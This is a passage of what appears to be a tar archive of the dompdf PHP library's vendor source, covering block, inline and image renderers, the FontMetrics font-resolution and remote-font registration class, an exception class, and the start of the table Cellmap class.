        $style = $frame->get_style();
        $node = $frame->get_node();

        $this->_set_opacity($frame->get_opacity($style->opacity));

        $border_box = $frame->get_border_box();

        // FIXME: Render background onto the area consisting of all spanned
        // cells. In the separated border model, the border-spacing area should
        // be left out. Currently, the background is inherited by the table
        // cells instead, which does not handle transparent backgrounds and
        // background images correctly.
        // See https://www.w3.org/TR/CSS21/tables.html#table-layers

        $this->_render_outline($frame, $border_box);

        $this->addNamedDest($node);
        $this->addHyperlink($node, $border_box);
    }
}
vendor/dompdf/dompdf/src/Renderer/Block.php000066600000004447151150443010014672 0ustar00<?php
/**
 * @package dompdf
 * @link    https://github.com/dompdf/dompdf
 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
 */
namespace Dompdf\Renderer;

use Dompdf\Frame;
use Dompdf\FrameDecorator\Block as BlockFrameDecorator;

/**
 * Renders block frames
 *
 * @package dompdf
 */
class Block extends AbstractRenderer
{
    /**
     * @param Frame $frame
     */
    function render(Frame $frame)
    {
        $style = $frame->get_style();
        $node = $frame->get_node();

        $this->_set_opacity($frame->get_opacity($style->opacity));

        [$x, $y, $w, $h] = $frame->get_border_box();

        if ($node->nodeName === "body") {
            // Margins should be fully resolved at this point
            $mt = $style->margin_top;
            $mb = $style->margin_bottom;
            $h = $frame->get_containing_block("h") - $mt - $mb;
        }

        $border_box = [$x, $y, $w, $h];

        // Draw our background, border and content
        $this->_render_background($frame, $border_box);
        $this->_render_border($frame, $border_box);
        $this->_render_outline($frame, $border_box);

        $this->addNamedDest($node);
        $this->addHyperlink($node, $border_box);
        $this->debugBlockLayout($frame, "red", false);
    }

    /**
     * @param Frame        $frame
     * @param array|string $color
     * @param bool         $lines
     */
    protected function debugBlockLayout(Frame $frame, $color, bool $lines = false): void
    {
        $options = $this->_dompdf->getOptions();
        $debugLayout = $options->getDebugLayout();

        if (!$debugLayout) {
            return;
        }

        if ($options->getDebugLayoutBlocks()) {
            $this->debugLayout($frame->get_border_box(), $color);

            if ($options->getDebugLayoutPaddingBox()) {
                $this->debugLayout($frame->get_padding_box(), $color, [0.5, 0.5]);
            }
        }

        if ($lines && $options->getDebugLayoutLines() && $frame instanceof BlockFrameDecorator) {
            [$cx, , $cw] = $frame->get_content_box();

            foreach ($frame->get_line_boxes() as $line) {
                $lw = $cw - $line->left - $line->right;
                $this->debugLayout([$cx + $line->left, $line->y, $lw, $line->h], "orange");
            }
        }
    }
}
vendor/dompdf/dompdf/src/Renderer/Inline.php000066600000007560151150443010015055 0ustar00<?php
/**
 * @package dompdf
 * @link    https://github.com/dompdf/dompdf
 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
 */
namespace Dompdf\Renderer;

use Dompdf\Frame;

/**
 * Renders inline frames
 *
 * @package dompdf
 */
class Inline extends AbstractRenderer
{
    function render(Frame $frame)
    {
        // Get the first in-flow child
        $child = $frame->get_first_child();
        while ($child && !$child->is_in_flow()) {
            $child = $child->get_next_sibling();
        }

        if (!$child) {
            return; // No children, no service
        }

        $style = $frame->get_style();
        $node = $frame->get_node();

        $this->_set_opacity($frame->get_opacity($style->opacity));

        // Draw background & border behind each child. To do this, we need to
        // to figure out just how much space each child takes. Retrieve the
        // position of the first child again, to account for text and vertical
        // alignment
        [$x, $y] = $child->get_position();
        [$w, $h] = $this->get_child_size($frame);

        [, , $cbw] = $frame->get_containing_block();
        $margin_left = $style->length_in_pt($style->margin_left, $cbw);
        $pt = $style->length_in_pt($style->padding_top, $cbw);
        $pb = $style->length_in_pt($style->padding_bottom, $cbw);

        // Make sure that border and background start inside the left margin
        // Extend the drawn box by border and padding in vertical direction, as
        // these do not affect layout
        // FIXME: Using a small vertical offset of a fraction of the height here
        // to work around the vertical position being slightly off in general
        $x += $margin_left;
        $y -= $style->border_top_width + $pt - ($h * 0.1);
        $h += $style->border_top_width + $pt + $style->border_bottom_width + $pb;

        $border_box = [$x, $y, $w, $h];
        $this->_render_background($frame, $border_box);
        $this->_render_border($frame, $border_box);
        $this->_render_outline($frame, $border_box);

        $this->addNamedDest($node);
        $this->addHyperlink($node, $border_box);

        $options = $this->_dompdf->getOptions();

        if ($options->getDebugLayout() && $options->getDebugLayoutInline()) {
            $this->debugLayout($border_box, "blue");

            if ($options->getDebugLayoutPaddingBox()) {
                $padding_box = [
                    $x + $style->border_left_width,
                    $y + $style->border_top_width,
                    $w - $style->border_left_width - $style->border_right_width,
                    $h - $style->border_top_width - $style->border_bottom_width
                ];
                $this->debugLayout($padding_box, "blue", [0.5, 0.5]);
            }
        }
    }

    protected function get_child_size(Frame $frame): array
    {
        $w = 0.0;
        $h = 0.0;

        foreach ($frame->get_children() as $child) {
            if (!$child->is_in_flow()) {
                continue;
            }

            // Exclude trailing white space
            if ($child->get_node()->nodeValue === " "
                && $child->get_prev_sibling() && !$child->get_next_sibling()
            ) {
                break;
            }

            $style = $child->get_style();
            $auto_width = $style->width === "auto";
            $auto_height = $style->height === "auto";
            [, , $child_w, $child_h] = $child->get_border_box();

            if ($auto_width || $auto_height) {
                [$child_w2, $child_h2] = $this->get_child_size($child);

                if ($auto_width) {
                    $child_w = $child_w2;
                }
    
                if ($auto_height) {
                    $child_h = $child_h2;
                }
            }

            $w += $child_w;
            $h = max($h, $child_h);
        }

        return [$w, $h];
    }
}
vendor/dompdf/dompdf/src/Renderer/Image.php000066600000004060151150443010014651 0ustar00<?php
/**
 * @package dompdf
 * @link    https://github.com/dompdf/dompdf
 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
 */
namespace Dompdf\Renderer;

use Dompdf\Frame;
use Dompdf\FrameDecorator\Image as ImageFrameDecorator;
use Dompdf\Image\Cache;

/**
 * Image renderer
 *
 * @package dompdf
 */
class Image extends Block
{
    /**
     * @param ImageFrameDecorator $frame
     */
    function render(Frame $frame)
    {
        $style = $frame->get_style();
        $node = $frame->get_node();
        $border_box = $frame->get_border_box();

        $this->_set_opacity($frame->get_opacity($style->opacity));

        // Render background & borders
        $this->_render_background($frame, $border_box);
        $this->_render_border($frame, $border_box);
        $this->_render_outline($frame, $border_box);

        $content_box = $frame->get_content_box();
        [$x, $y, $w, $h] = $content_box;

        $src = $frame->get_image_url();

        if (Cache::is_broken($src) && ($alt = $node->getAttribute("alt")) !== "") {
            $font = $style->font_family;
            $size = $style->font_size;
            $word_spacing = $style->word_spacing;
            $letter_spacing = $style->letter_spacing;

            $this->_canvas->text(
                $x,
                $y,
                $alt,
                $font,
                $size,
                $style->color,
                $word_spacing,
                $letter_spacing
            );
        } elseif ($w > 0 && $h > 0) {
            if ($style->has_border_radius()) {
                [$tl, $tr, $br, $bl] = $style->resolve_border_radius($border_box, $content_box);
                $this->_canvas->clipping_roundrectangle($x, $y, $w, $h, $tl, $tr, $br, $bl);
            }

            $this->_canvas->image($src, $x, $y, $w, $h, $style->image_resolution);

            if ($style->has_border_radius()) {
                $this->_canvas->clipping_end();
            }
        }

        $this->addNamedDest($node);
        $this->debugBlockLayout($frame, "blue");
    }
}
vendor/dompdf/dompdf/src/FontMetrics.php000066600000050477151150443010014333 0ustar00<?php
/**
 * @package dompdf
 * @link    https://github.com/dompdf/dompdf
 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
 */
namespace Dompdf;

use Dompdf\Css\Style;
use FontLib\Font;

/**
 * The font metrics class
 *
 * This class provides information about fonts and text.  It can resolve
 * font names into actual installed font files, as well as determine the
 * size of text in a particular font and size.
 *
 * @static
 * @package dompdf
 */
class FontMetrics
{
    /**
     * Name of the user font families file
     *
     * This file must be writable by the webserver process only to update it
     * with save_font_families() after adding the .afm file references of a new font family
     * with FontMetrics::saveFontFamilies().
     * This is typically done only from command line with load_font.php on converting
     * ttf fonts to ufm with php-font-lib.
     */
    const USER_FONTS_FILE = "installed-fonts.json";


    /**
     * Underlying {@link Canvas} object to perform text size calculations
     *
     * @var Canvas
     */
    protected $canvas;

    /**
     * Array of bundled font family names to variants
     *
     * @var array
     */
    protected $bundledFonts = [];

    /**
     * Array of user defined font family names to variants
     *
     * @var array
     */
    protected $userFonts = [];

    /**
     * combined list of all font families with absolute paths
     *
     * @var array
     */
    protected $fontFamilies;

    /**
     * @var Options
     */
    private $options;

    /**
     * Class initialization
     */
    public function __construct(Canvas $canvas, Options $options)
    {
        $this->setCanvas($canvas);
        $this->setOptions($options);
        $this->loadFontFamilies();
    }

    /**
     * @deprecated
     */
    public function save_font_families()
    {
        $this->saveFontFamilies();
    }

    /**
     * Saves the stored font family cache
     *
     * The name and location of the cache file are determined by {@link
     * FontMetrics::USER_FONTS_FILE}. This file should be writable by the
     * webserver process.
     *
     * @see FontMetrics::loadFontFamilies()
     */
    public function saveFontFamilies()
    {
        file_put_contents($this->getUserFontsFilePath(), json_encode($this->userFonts, JSON_PRETTY_PRINT));
    }

    /**
     * @deprecated
     */
    public function load_font_families()
    {
        $this->loadFontFamilies();
    }

    /**
     * Loads the stored font family cache
     *
     * @see FontMetrics::saveFontFamilies()
     */
    public function loadFontFamilies()
    {
        $file = $this->options->getRootDir() . "/lib/fonts/installed-fonts.dist.json";
        $this->bundledFonts = json_decode(file_get_contents($file), true);

        if (is_readable($this->getUserFontsFilePath())) {
            $this->userFonts = json_decode(file_get_contents($this->getUserFontsFilePath()), true);
        } else {
            $this->loadFontFamiliesLegacy();
        }
    }

    private function loadFontFamiliesLegacy()
    {
        $legacyCacheFile = $this->options->getFontDir() . '/dompdf_font_family_cache.php';
        if (is_readable($legacyCacheFile)) {
            $fontDir = $this->options->getFontDir();
            $rootDir = $this->options->getRootDir();
    
            $cacheDataClosure = require $legacyCacheFile;
            $cacheData = is_array($cacheDataClosure) ? $cacheDataClosure : $cacheDataClosure($fontDir, $rootDir);
            if (is_array($cacheData)) {
                foreach ($cacheData as $family => $variants) {
                    if (!isset($this->bundledFonts[$family]) && is_array($variants)) {
                        foreach ($variants as $variant => $variantPath) {
                            $variantName = basename($variantPath);
                            $variantDir = dirname($variantPath);
                            if ($variantDir == $fontDir) {
                                $this->userFonts[$family][$variant] = $variantName;
                            } else {
                                $this->userFonts[$family][$variant] = $variantPath;
                            }
                        }
                    }
                }
                $this->saveFontFamilies();
            }
        }
    }

    /**
     * @param array $style
     * @param string $remote_file
     * @param resource $context
     * @return bool
     * @deprecated
     */
    public function register_font($style, $remote_file, $context = null)
    {
        return $this->registerFont($style, $remote_file);
    }

    /**
     * @param array $style
     * @param string $remoteFile
     * @param resource $context
     * @return bool
     */
    public function registerFont($style, $remoteFile, $context = null)
    {
        $fontname = mb_strtolower($style["family"]);
        $families = $this->getFontFamilies();

        $entry = [];
        if (isset($families[$fontname])) {
            $entry = $families[$fontname];
        }

        $styleString = $this->getType("{$style['weight']} {$style['style']}");

        $remoteHash = md5($remoteFile);

        $prefix = $fontname . "_" . $styleString;
        $prefix = trim($prefix, "-");
        if (function_exists('iconv')) {
            $prefix = @iconv('utf-8', 'us-ascii//TRANSLIT', $prefix);
        }
        $prefix_encoding = mb_detect_encoding($prefix, mb_detect_order(), true);
        $substchar = mb_substitute_character();
        mb_substitute_character(0x005F);
        $prefix = mb_convert_encoding($prefix, "ISO-8859-1", $prefix_encoding);
        mb_substitute_character($substchar);
        $prefix = preg_replace("[\W]", "_", $prefix);
        $prefix = preg_replace("/[^-_\w]+/", "", $prefix);

        $localFile = $prefix . "_" . $remoteHash;
        $localFilePath = $this->getOptions()->getFontDir() . "/" . $localFile;

        if (isset($entry[$styleString]) && $localFilePath == $entry[$styleString]) {
            return true;
        }


        $entry[$styleString] = $localFile;

        // Download the remote file
        [$protocol] = Helpers::explode_url($remoteFile);
        $allowed_protocols = $this->options->getAllowedProtocols();
        if (!array_key_exists($protocol, $allowed_protocols)) {
            Helpers::record_warnings(E_USER_WARNING, "Permission denied on $remoteFile. The communication protocol is not supported.", __FILE__, __LINE__);
            return false;
        }

        foreach ($allowed_protocols[$protocol]["rules"] as $rule) {
            [$result, $message] = $rule($remoteFile);
            if ($result !== true) {
                Helpers::record_warnings(E_USER_WARNING, "Error loading $remoteFile: $message", __FILE__, __LINE__);
                return false;
            }
        }

        [$remoteFileContent, $http_response_header] = @Helpers::getFileContent($remoteFile, $context);
        if ($remoteFileContent === null) {
            return false;
        }

        $localTempFile = @tempnam($this->options->get("tempDir"), "dompdf-font-");
        file_put_contents($localTempFile, $remoteFileContent);

        $font = Font::load($localTempFile);

        if (!$font) {
            unlink($localTempFile);
            return false;
        }

        $font->parse();
        $font->saveAdobeFontMetrics("$localFilePath.ufm");
        $font->close();

        unlink($localTempFile);

        if ( !file_exists("$localFilePath.ufm") ) {
            return false;
        }

        $fontExtension = ".ttf";
        switch ($font->getFontType()) {
            case "TrueType":
            default:
                $fontExtension = ".ttf";
                break;
        }

        // Save the changes
        file_put_contents($localFilePath.$fontExtension, $remoteFileContent);

        if ( !file_exists($localFilePath.$fontExtension) ) {
            unlink("$localFilePath.ufm");
            return false;
        }

        $this->setFontFamily($fontname, $entry);

        return true;
    }

    /**
     * @param $text
     * @param $font
     * @param $size
     * @param float $word_spacing
     * @param float $char_spacing
     * @return float
     * @deprecated
     */
    public function get_text_width($text, $font, $size, $word_spacing = 0.0, $char_spacing = 0.0)
    {
        //return self::$_pdf->get_text_width($text, $font, $size, $word_spacing, $char_spacing);
        return $this->getTextWidth($text, $font, $size, $word_spacing, $char_spacing);
    }

    /**
     * Calculates text size, in points
     *
     * @param string $text        The text to be sized
     * @param string $font        The font file to use
     * @param float  $size        The font size, in points
     * @param float  $wordSpacing Word spacing, if any
     * @param float  $charSpacing Char spacing, if any
     *
     * @return float
     */
    public function getTextWidth(string $text, $font, float $size, float $wordSpacing = 0.0, float $charSpacing = 0.0): float
    {
        // @todo Make sure this cache is efficient before enabling it
        static $cache = [];

        if ($text === "") {
            return 0;
        }

        // Don't cache long strings
        $useCache = !isset($text[50]); // Faster than strlen

        // Text-size calculations depend on the canvas used. Make sure to not
        // return wrong values when switching canvas backends
        $canvasClass = get_class($this->canvas);
        $key = "$canvasClass/$font/$size/$wordSpacing/$charSpacing";

        if ($useCache && isset($cache[$key][$text])) {
            return $cache[$key][$text];
        }

        $width = $this->canvas->get_text_width($text, $font, $size, $wordSpacing, $charSpacing);

        if ($useCache) {
            $cache[$key][$text] = $width;
        }

        return $width;
    }

    /**
     * Maps substrings of text against the provided font list. This is achieved by
     * parsing each character of the string against the supported glyphs for each
     * font. Fonts preference is based on the order of the font list.
     *
     * Returns an array containing substring information that indicates the
     * matched font (if any), start index, substring length, and (optionally)
     * the actual text of the substring.
     *
     * @param string $text            The text to map
     * @param array  $fontFamilies    List of font families to map against
     * @param string $subtype         The font subtype (italic, bold, etc.)
     * @param int    $count           The number of matches to return
     * @param bool   $returnSubstring Should the actual matched text be returned
     * @return array
     */
    public function mapTextToFonts(string $text, array $fontFamilies, string $subtype = "normal", int $count = -1, bool $returnSubstring = false): array
    {
        $char_mapping = [];
        $fonts = [];

        foreach ($fontFamilies as $family) {
            $font = $this->getFont($family, $subtype);
            if ($font !== null) {
                $fonts[] = $font;
            }
        }

        if (function_exists("mb_str_split")) {
            $char_array = mb_str_split($text, 1, "UTF-8");
        } else {
            $char_array = preg_split("//u", $text, -1, PREG_SPLIT_NO_EMPTY);
        }
        $start_index = 0;
        $char_index = -1;
        while (isset($char_array[++$char_index])) {
            $char = $char_array[$char_index];
            if (preg_match('/[\x00-\x1F\x7F]/u', $char)) {
                //non-printable, moving on
                continue;
            }
            $mapped_font = null;
            foreach ($fonts as $font) {
                if ($this->canvas->font_supports_char($font, $char)) {
                    $mapped_font = $font;
                    break;
                }
            }

            if (!isset($char_mapping[$start_index])) {
                $char_mapping[$start_index] = ["font" => $mapped_font, "length" => 0, "text" => null];
            }

            if ($mapped_font !== $char_mapping[$start_index]["font"]) {
                $char_mapping[$start_index]["length"] = $char_index - $start_index;
                if ($count > 0 && count($char_mapping) === $count) {
                    break;
                }
                $start_index = $char_index;
                $char_mapping[$start_index] = ["font" => $mapped_font, "length" => 0, "text" => null];
            }
        }

        if ($returnSubstring) {
            // build the string for each mapping
            foreach ($char_mapping as $start_index => &$info) {
                $info["text"] = mb_substr($text, $start_index, $info["length"]);
            }
        }

        return $char_mapping;
    }

    /**
     * @param $font
     * @param $size
     * @return float
     * @deprecated
     */
    public function get_font_height($font, $size)
    {
        return $this->getFontHeight($font, $size);
    }

    /**
     * Calculates font height, in points
     *
     * @param string $font The font file to use
     * @param float  $size The font size, in points
     *
     * @return float
     */
    public function getFontHeight($font, float $size): float
    {
        return $this->canvas->get_font_height($font, $size);
    }

    /**
     * Calculates font baseline, in points
     *
     * @param string $font The font file to use
     * @param float  $size The font size, in points
     *
     * @return float
     */
    public function getFontBaseline($font, float $size): float
    {
        return $this->canvas->get_font_baseline($font, $size);
    }

    /**
     * @param $family_raw
     * @param string $subtype_raw
     * @return string
     * @deprecated
     */
    public function get_font($family_raw, $subtype_raw = "normal")
    {
        return $this->getFont($family_raw, $subtype_raw);
    }

    /**
     * Resolves a font family & subtype into an actual font file
     * Subtype can be one of 'normal', 'bold', 'italic' or 'bold_italic'.  If
     * the particular font family has no suitable font file, the default font
     * ({@link Options::defaultFont}) is used.  The font file returned
     * is the absolute pathname to the font file on the system.
     *
     * @param string|null $familyRaw
     * @param string      $subtypeRaw
     *
     * @return string|null
     */
    public function getFont($familyRaw, $subtypeRaw = "normal")
    {
        static $cache = [];

        if (isset($cache[$familyRaw][$subtypeRaw])) {
            return $cache[$familyRaw][$subtypeRaw];
        }

        /* Allow calling for various fonts in search path. Therefore not immediately
         * return replacement on non match.
         * Only when called with NULL try replacement.
         * When this is also missing there is really trouble.
         * If only the subtype fails, nevertheless return failure.
         * Only on checking the fallback font, check various subtypes on same font.
         */

        $subtype = strtolower($subtypeRaw);

        $families = $this->getFontFamilies();
        if ($familyRaw) {
            $family = str_replace(["'", '"'], "", strtolower($familyRaw));

            if (isset($families[$family][$subtype])) {
                return $cache[$familyRaw][$subtypeRaw] = $families[$family][$subtype];
            }

            return null;
        }

        $fallback_families = [strtolower($this->options->getDefaultFont()), "serif"];
        foreach ($fallback_families as $family) {
            if (isset($families[$family][$subtype])) {
                return $cache[$familyRaw][$subtypeRaw] = $families[$family][$subtype];
            }
    
            if (!isset($families[$family])) {
                continue;
            }
    
            $family = $families[$family];
    
            foreach ($family as $sub => $font) {
                if (strpos($subtype, $sub) !== false) {
                    return $cache[$familyRaw][$subtypeRaw] = $font;
                }
            }
    
            if ($subtype !== "normal") {
                foreach ($family as $sub => $font) {
                    if ($sub !== "normal") {
                        return $cache[$familyRaw][$subtypeRaw] = $font;
                    }
                }
            }
    
            $subtype = "normal";
    
            if (isset($family[$subtype])) {
                return $cache[$familyRaw][$subtypeRaw] = $family[$subtype];
            }
        }
        
        return null;
    }

    /**
     * @param $family
     * @return null|string
     * @deprecated
     */
    public function get_family($family)
    {
        return $this->getFamily($family);
    }

    /**
     * @param string $family
     * @return null|string
     */
    public function getFamily($family)
    {
        $family = str_replace(["'", '"'], "", mb_strtolower($family));
        $families = $this->getFontFamilies();

        if (isset($families[$family])) {
            return $families[$family];
        }

        return null;
    }

    /**
     * @param $type
     * @return string
     * @deprecated
     */
    public function get_type($type)
    {
        return $this->getType($type);
    }

    /**
     * @param string $type
     * @return string
     */
    public function getType($type)
    {
        if (preg_match('/bold/i', $type)) {
            $weight = 700;
        } elseif (preg_match('/([1-9]00)/', $type, $match)) {
            $weight = (int)$match[0];
        } else {
            $weight = 400;
        }
        $weight = $weight === 400 ? 'normal' : $weight;
        $weight = $weight === 700 ? 'bold' : $weight;

        $style = preg_match('/italic|oblique/i', $type) ? 'italic' : null;

        if ($weight === 'normal' && $style !== null) {
            return $style;
        }

        return $style === null
            ? $weight
            : $weight.'_'.$style;
    }

    /**
     * @return array
     * @deprecated
     */
    public function get_font_families()
    {
        return $this->getFontFamilies();
    }

    /**
     * Returns the current font lookup table
     *
     * @return array
     */
    public function getFontFamilies()
    {
        if (!isset($this->fontFamilies)) {
            $this->setFontFamilies();
        }
        return $this->fontFamilies;
    }

    /**
     * Convert loaded fonts to font lookup table
     *
     * @return array
     */
    public function setFontFamilies()
    {
        $fontFamilies = [];
        if (isset($this->bundledFonts) && is_array($this->bundledFonts)) {
            foreach ($this->bundledFonts as $family => $variants) {
                if (!isset($fontFamilies[$family])) {
                    $fontFamilies[$family] = array_map(function ($variant) {
                        return $this->getOptions()->getRootDir() . '/lib/fonts/' . $variant;
                    }, $variants);
                }
            }
        }
        if (isset($this->userFonts) && is_array($this->userFonts)) {
            foreach ($this->userFonts as $family => $variants) {
                $fontFamilies[$family] = array_map(function ($variant) {
                    $variantName = basename($variant);
                    if ($variantName === $variant) {
                        return $this->getOptions()->getFontDir() . '/' . $variant;
                    }
                    return $variant;
                }, $variants);
            }
        }
        $this->fontFamilies = $fontFamilies;
    }

    /**
     * @param string $fontname
     * @param mixed $entry
     * @deprecated
     */
    public function set_font_family($fontname, $entry)
    {
        $this->setFontFamily($fontname, $entry);
    }

    /**
     * @param string $fontname
     * @param mixed $entry
     */
    public function setFontFamily($fontname, $entry)
    {
        $this->userFonts[mb_strtolower($fontname)] = $entry;
        $this->saveFontFamilies();
        unset($this->fontFamilies);
    }

    /**
     * @return string
     */
    public function getUserFontsFilePath()
    {
        return $this->options->getFontDir() . '/' . self::USER_FONTS_FILE;
    }

    /**
     * @param Options $options
     * @return $this
     */
    public function setOptions(Options $options)
    {
        $this->options = $options;
        unset($this->fontFamilies);
        return $this;
    }

    /**
     * @return Options
     */
    public function getOptions()
    {
        return $this->options;
    }

    /**
     * @param Canvas $canvas
     * @return $this
     */
    public function setCanvas(Canvas $canvas)
    {
        $this->canvas = $canvas;
        return $this;
    }

    /**
     * @return Canvas
     */
    public function getCanvas()
    {
        return $this->canvas;
    }
}
vendor/dompdf/dompdf/src/Exception/ImageException.php000066600000001073151150443010016721 0ustar00<?php
/**
 * @package dompdf
 * @link    https://github.com/dompdf/dompdf
 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
 */
namespace Dompdf\Exception;

use Dompdf\Exception;

/**
 * Image exception thrown by DOMPDF
 *
 * @package dompdf
 */
class ImageException extends Exception
{

    /**
     * Class constructor
     *
     * @param string $message Error message
     * @param int $code       Error code
     */
    function __construct($message = null, $code = 0)
    {
        parent::__construct($message, $code);
    }

}
vendor/dompdf/dompdf/src/Cellmap.php000066600000067511151150443010013450 0ustar00<?php
/**
 * @package dompdf
 * @link    https://github.com/dompdf/dompdf
 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
 */
namespace Dompdf;

use Dompdf\FrameDecorator\AbstractFrameDecorator;
use Dompdf\FrameDecorator\Table as TableFrameDecorator;
use Dompdf\FrameDecorator\TableCell as TableCellFrameDecorator;

/**
 * Maps table cells to the table grid.
 *
 * This class resolves borders in tables with collapsed borders and helps
 * place row & column spanned table cells.
 *
 * @package dompdf
 */
class Cellmap
{
    /**
     * Border style weight lookup for collapsed border resolution.
     */
    protected const BORDER_STYLE_SCORE = [
        "double" => 8,
        "solid"  => 7,
        "dashed" => 6,
        "dotted" => 5,
        "ridge"  => 4,
        "outset" => 3,
        "groove" => 2,
        "inset"  => 1,
        "none"   => 0
    ];

    /**
     * The table object this cellmap is attached to.
     *
     * @var TableFrameDecorator
     */
    protected $_table;

    /**
     * The total number of rows in the table
     *
     * @var int
     */
    protected $_num_rows;

    /**
     * The total number of columns in the table
     *
     * @var int
     */
    protected $_num_cols;

    /**
     * 2D array mapping <row,column> to frames
     *
     * @var Frame[][]
     */
    protected $_cells;

    /**
     * 1D array of column dimensions
     *
     * @var array
     */
    protected $_columns;

    /**
     * 1D array of row dimensions
     *
     * @var array
     */
    protected $_rows;

    /**
     * 2D array of border specs
     *
     * @var array
     */
    protected $_borders;

    /**
     * 1D Array mapping frames to (multiple) <row, col> pairs, keyed on frame_id.
     *
     * @var array[]
     */
    protected $_frames;

    /**
     * Current column when adding cells, 0-based
     *
     * @var int
     */
    private $__col;

    /**
     * Current row when adding cells, 0-based
     *
     * @var int
     */
    private $__row;

    /**
     * Tells whether the columns' width can be modified
     *
     * @var bool
     */
    private $_columns_locked = false;

    /**
     * Tells whether the table has table-layout:fixed
     *
     * @var bool
     */
    private $_fixed_layout = false;

    /**
     * @param TableFrameDecorator $table
     */
    public function __construct(TableFrameDecorator $table)
    {
        $this->_table = $table;
        $this->reset();
    }

    public function reset(): void
    {
        $this->_num_rows = 0;
        $this->_num_cols = 0;

        $this->_cells = [];
        $this->_frames = [];

        if (!$this->_columns_locked) {
            $this->_columns = [];
        }

        $this->_rows = [];

        $this->_borders = [];

        $this->__col = $this->__row = 0;
    }

    public function lock_columns(): void
    {
        $this->_columns_locked = true;
    }

    /**
     * @return bool
     */
    public function is_columns_locked()
    {
        return $this->_columns_locked;
    }

    /**
     * @param bool $fixed
     */
    public function set_layout_fixed(bool $fixed)
    {
        $this->_fixed_layout = $fixed;
    }

    /**
     * @return bool
     */
    public function is_layout_fixed()
    {
        return $this->_fixed_layout;
    }

    /**
     * @return int
     */
    public function get_num_rows()
    {
        return $this->_num_rows;
    }

    /**
     * @return int
     */
    public function get_num_cols()
    {
        return $this->_num_cols;
    }

    /**
     * @return array
     */
    public function &get_columns()
    {
        return $this->_columns;
    }

    /**
     * @param $columns
     */
    public function set_columns($columns)
    {
        $this->_columns = $columns;
    }

    /**
     * @param int $i
     *
     * @return mixed
     */
    public function &get_column($i)
    {
        if (!isset($this->_columns[$i])) {
            $this->_columns[$i] = [
                "x"          => 0,
                "min-width"  => 0,
                "max-width"  => 0,
                "used-width" => null,
                "absolute"   => 0,
                "percent"    => 0,
                "auto"       => true,
            ];
        }

        return $this->_columns[$i];
    }

    /**
     * @return array
     */
    public function &get_rows()
    {
        return $this->_rows;
    }

    /**
     * @param int $j
     *
     * @return mixed
     */
    public function &get_row($j)
    {
        if (!isset($this->_rows[$j])) {
            $this->_rows[$j] = [
                "y"            => 0,
                "first-column" => 0,
                "height"       => null,
            ];
        }

        return $this->_rows[$j];
    }

    /**
     * @param int $i
     * @param int $j
     * @param mixed $h_v
     * @param null|mixed $prop
     *
     * @return mixed
     */
    public function get_border($i, $j, $h_v, $prop = null)
    {
        if (!isset($this->_borders[$i][$j][$h_v])) {
            $this->_borders[$i][$j][$h_v] = [
                "width" => 0,
                "style" => "solid",
                "color" => "black",
            ];
        }

        if (isset($prop)) {
            return $this->_borders[$i][$j][$h_v][$prop];
        }

        return $this->_borders[$i][$j][$h_v];
    }

    /**
     * @param int $i
     * @param int $j
     *
     * @return array
     */
    public function get_border_properties($i, $j)
    {
        return [
            "top"    => $this->get_border($i, $j, "horizontal"),
            "right"  => $this->get_border($i, $j + 1, "vertical"),
            "bottom" => $this->get_border($i + 1, $j, "horizontal"),
            "left"   => $this->get_border($i, $j, "vertical"),
        ];
    }

    /**
     * @param Frame $frame
     *
     * @return array|null
     */
    public function get_spanned_cells(Frame $frame)
    {
        $key = $frame->get_id();

        if (isset($this->_frames[$key])) {
            return $this->_frames[$key];
        }

        return null;
    }

    /**
     * @param Frame $frame
     *
     * @return bool
     */
    public function frame_exists_in_cellmap(Frame $frame)
    {
        $key = $frame->get_id();

        return isset($this->_frames[$key]);
    }

    /**
     * @param Frame $frame
     *
     * @return array
     * @throws Exception
     */
    public function get_frame_position(Frame $frame)
    {
        global $_dompdf_warnings;

        $key = $frame->get_id();

        if (!isset($this->_frames[$key])) {
            throw new Exception("Frame not found in cellmap");
        }

        // Positions are stored relative to the table position
        [$table_x, $table_y] = $this->_table->get_position();
        $col = $this->_frames[$key]["columns"][0];
        $row = $this->_frames[$key]["rows"][0];

        if (!isset($this->_columns[$col])) {
            $_dompdf_warnings[] = "Frame not found in columns array.  Check your table layout for missing or extra TDs.";
            $x = $table_x;
        } else {
            $x = $table_x + $this->_columns[$col]["x"];
        }

        if (!isset($this->_rows[$row])) {
            $_dompdf_warnings[] = "Frame not found in row array.  Check your table layout for missing or extra TDs.";
            $y = $table_y;
        } else {
            $y = $table_y + $this->_rows[$row]["y"];
        }

        return [$x, $y, "x" => $x, "y" => $y];
    }

    /**
     * @param Frame $frame
     *
     * @return int
     * @throws Exception
     */
    public function get_frame_width(Frame $frame)
    {
        $key = $frame->get_id();

        if (!isset($this->_frames[$key])) {
            throw new Exception("Frame not found in cellmap");
        }

        $cols = $this->_frames[$key]["columns"];
        $w = 0;
        foreach ($cols as $i) {
            $w += $this->_columns[$i]["used-width"];
        }

        return $w;
    }

    /**
     * @param Frame $frame
     *
     * @return int
     * @throws Exception
     * @throws Exception
     */
    public function get_frame_height(Frame $frame)
    {
        $key = $frame->get_id();

        if (!isset($this->_frames[$key])) {
            throw new Exception("Frame not found in cellmap");
        }

        $rows = $this->_frames[$key]["rows"];
        $h = 0;
        foreach ($rows as $i) {
            if (!isset($this->_rows[$i])) {
                throw new Exception("The row #$i could not be found, please file an issue in the tracker with the HTML code");
            }

            $h += $this->_rows[$i]["height"];
        }

        return $h;
    }

    /**
     * @param int $j
     * @param mixed $width
     */
    public function set_column_width($j, $width)
    {
        if ($this->_columns_locked) {
            return;
        }

        $col =& $this->get_column($j);
        $col["used-width"] = $width;
        $next_col =& $this->get_column($j + 1);
        $next_col["x"] = $col["x"] + $width;
    }

    /**
     * @param int $i
     * @param long $height
     */
    public function set_row_height($i, $height)
    {
        $row =& $this->get_row($i);
        if ($height > $row["height"]) {
            $row["height"] = $height;
        }
        $next_row =& $this->get_row($i + 1);
        $next_row["y"] = $row["y"] + $row["height"];
    }

    /**
     * https://www.w3.org/TR/CSS21/tables.html#border-conflict-resolution
     *
     * @param int    $i
     * @param int    $j
     * @param string $h_v         `horizontal` or `vertical`
     * @param array  $border_spec
     */
